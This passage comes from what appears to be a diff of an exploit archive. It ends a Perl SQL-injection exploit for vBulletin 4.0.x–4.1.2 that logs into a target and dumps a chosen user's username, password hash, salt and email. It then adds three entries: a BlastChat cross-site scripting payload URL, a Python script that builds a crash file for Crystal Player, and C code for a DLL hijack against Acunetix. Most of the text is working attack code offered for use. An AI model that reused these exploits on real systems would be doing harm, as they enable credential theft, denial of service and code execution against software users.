print "[i] Try to log in and log out from other any other sessions and run the exploit again.\n\n";
|
||||
}
|
||||
}
|
||||
|
||||
sub printout
|
||||
{
|
||||
my ($tofind) = @_ ;
|
||||
if($tofind =~ /username/)
|
||||
{
|
||||
print "[+] User($ARGV[4]) Username: ";
|
||||
}
|
||||
elsif($tofind =~ /password/)
|
||||
{
|
||||
print "[+] User($ARGV[4]) Password: ";
|
||||
}
|
||||
elsif($tofind =~ /database/)
|
||||
{
|
||||
print "[+] Database Name: ";
|
||||
}
|
||||
elsif($tofind =~ /email/)
|
||||
{
|
||||
print "[+] User($ARGV[4]) Email: ";
|
||||
}
|
||||
elsif($tofind =~ /salt/)
|
||||
{
|
||||
print "[+] User($ARGV[4]) Salt: ";
|
||||
}
|
||||
}
|
||||
|
||||
sub dumping
|
||||
{
|
||||
my ($filename, $par) = @_ ;
|
||||
open(MYFILE,"< ", $filename);
|
||||
my @words;
|
||||
while(<MYFILE>)
|
||||
{
|
||||
chomp;
|
||||
@words = split(' ');
|
||||
|
||||
if($par eq "token")
|
||||
{
|
||||
my $ctrl = "n";
|
||||
foreach my $word (@words)
|
||||
{
|
||||
if($word =~ /SECURITYTOKEN/)
|
||||
{
|
||||
$ctrl = "y";
|
||||
}
|
||||
if($ctrl eq "y" and $word !~ /=/ and $word !~ /SECURITYTOKEN/)
|
||||
{
|
||||
$word =~ tr/;//d; $word =~ tr/\"//d;
|
||||
return $word;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
elsif($par eq "sql")
|
||||
{
|
||||
foreach my $word (@words)
|
||||
{
|
||||
if($word =~ /:::/)
|
||||
{
|
||||
$word =~ tr/::://d;
|
||||
print "$word";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
else
|
||||
{
|
||||
my $ctrl2 = "n";
|
||||
foreach my $word (@words)
|
||||
{
|
||||
if($word =~ /Location:/)
|
||||
{
|
||||
$ctrl2 = "y";
|
||||
}
|
||||
if($ctrl2 eq "y" and $word !~ /Location:/)
|
||||
{
|
||||
return $word;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
close(MYFILE);
|
||||
}
|
||||
|
||||
sub login(@)
|
||||
{
|
||||
my $username = shift;
|
||||
my $password = shift;
|
||||
print "\nLogging in...\n";
|
||||
sleep(1);
|
||||
my $req = HTTP::Request->new(POST => $ARGV[0].'/login.php?do=login');
|
||||
$req->content_type('application/x-www-form-urlencoded');
|
||||
$req->content("vb_login_username=$username&vb_login_password=$password&s=&securitytoken=1409514185-74f04ec0932a6f070268bf287797b5dc0db05530&do=login&vb_login_md5password=&vb_login_md5password_utf=");
|
||||
$ua->cookie_jar({});
|
||||
my $res = $ua->request($req);
|
||||
#print "\n"; print $res->content; print "\n";
|
||||
open(FILE2,"> vbloginout.txt"); print FILE2 $res->content; close(FILE2);
|
||||
request();
|
||||
}
|
||||
|
||||
if($ARGV[0] eq '' || $ARGV[1] eq '' || $ARGV[2] eq '' || $ARGV[3] eq '' || $ARGV[4] eq '')
|
||||
{
|
||||
print "\n<! vBulletin 4.0.x => 4.1.2 Automatic SQL Injection exploit !>\n";
|
||||
print "Author: D35m0nd142\n\n";
|
||||
print "Usage: perl exploit.pl <<http://target> <valid username> <valid passwd> <existent group> <userid to hack>\n";
|
||||
print "Example: perl exploit.pl http://site.com myusername mypassword Administrators 1\n\n";
|
||||
exit(1);
|
||||
}
|
||||
|
||||
print "\n<! vBulletin 4.0.x => 4.1.2 Automatic SQL Injection exploit !>\n";
|
||||
print "Author: D35m0nd142\n";
|
||||
sleep(1);
|
||||
login($ARGV[1],$ARGV[2]);
|
||||
|
||||
@files = ('vbloginout.txt','vbout.txt','vbloc.txt');
|
||||
foreach $file (@files)
|
||||
{
|
||||
unlink $file;
|
||||
}
|
||||
|
||||
9
platforms/php/webapps/34531.txt
Executable file
9
platforms/php/webapps/34531.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/42734/info
|
||||
|
||||
BlastChat Client is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
||||
|
||||
Versions prior to BlastChat Client 3.4 are vulnerable.
|
||||
|
||||
http://www.example.com/index.php?option=com_blastchatc&Itemid=" onload="alert(/XSS/)"
|
||||
25
platforms/windows/dos/34530.py
Executable file
25
platforms/windows/dos/34530.py
Executable file
|
|
@ -0,0 +1,25 @@
|
|||
source: http://www.securityfocus.com/bid/42727/info
|
||||
|
||||
Crystal Player is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.
|
||||
|
||||
Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.
|
||||
|
||||
Crystal Player 1.98 is vulnerable; other versions may also be affected.
|
||||
|
||||
print "\n\nCrystal Player v1.98 .mls File Processing DoS"
|
||||
|
||||
#
|
||||
#http://software-files-l.cnet.com/s/software/11/00/21/13/CrystalPro.exe?e=1282330968&h=e237bd6e2c2618e09cee1995b7e71d8f&lop=link&ptype=1901&ontid=2139&siteId=4&edId=3&spi=b6d2964a3df3b4a831dfecbe47f768ab&pid=11002113&psid=10210499&fileName=CrystalPro.exe
|
||||
#
|
||||
|
||||
buff = "D" * 8400
|
||||
|
||||
try:
|
||||
mlsfile = open("cp_crash.mls","w")
|
||||
mlsfile.write(buff)
|
||||
mlsfileclose()
|
||||
print "[+] Successfully created MLS File\n"
|
||||
print "[+] Load this File to Crystal Player CPU Usage shoots upto 100%\n"
|
||||
print "[+] Coded by Praveen Darshanam\n"
|
||||
except:
|
||||
print "[+] Unable to Create File"
|
||||
27
platforms/windows/webapps/34527.c
Executable file
27
platforms/windows/webapps/34527.c
Executable file
|
|
@ -0,0 +1,27 @@
|
|||
source: http://www.securityfocus.com/bid/42697/info
|
||||
|
||||
Acunetix Web Vulnerability Scanner is prone to a vulnerability that lets attackers execute arbitrary code.
|
||||
|
||||
An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.
|
||||
|
||||
Acunetix Web Vulnerability Scanner 6.5.20100616 is vulnerable; other versions may also be affected.
|
||||
|
||||
// Exploit Title: Acunetix Web Vulnerability Scanner DLL Hijack
|
||||
// Date: 25 Aug 2010
|
||||
// Author: Kolor
|
||||
// Software Link: http://www.acunetix.com/vulnerability-scanner/vulnerabilityscanner65.exe
|
||||
// Version: 6.5.20100616
|
||||
// Tested on: Windows 7 64bit Eng
|
||||
// Vuln ext.: .WVS (saved report)
|
||||
|
||||
#include <windows.h>
|
||||
#define DllExport __declspec (dllexport)
|
||||
DllExport void DwmSetWindowAttribute() { egg(); }
|
||||
|
||||
int egg()
|
||||
{
|
||||
system ("calc");
|
||||
exit(0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
Loading…
Add table
Reference in a new issue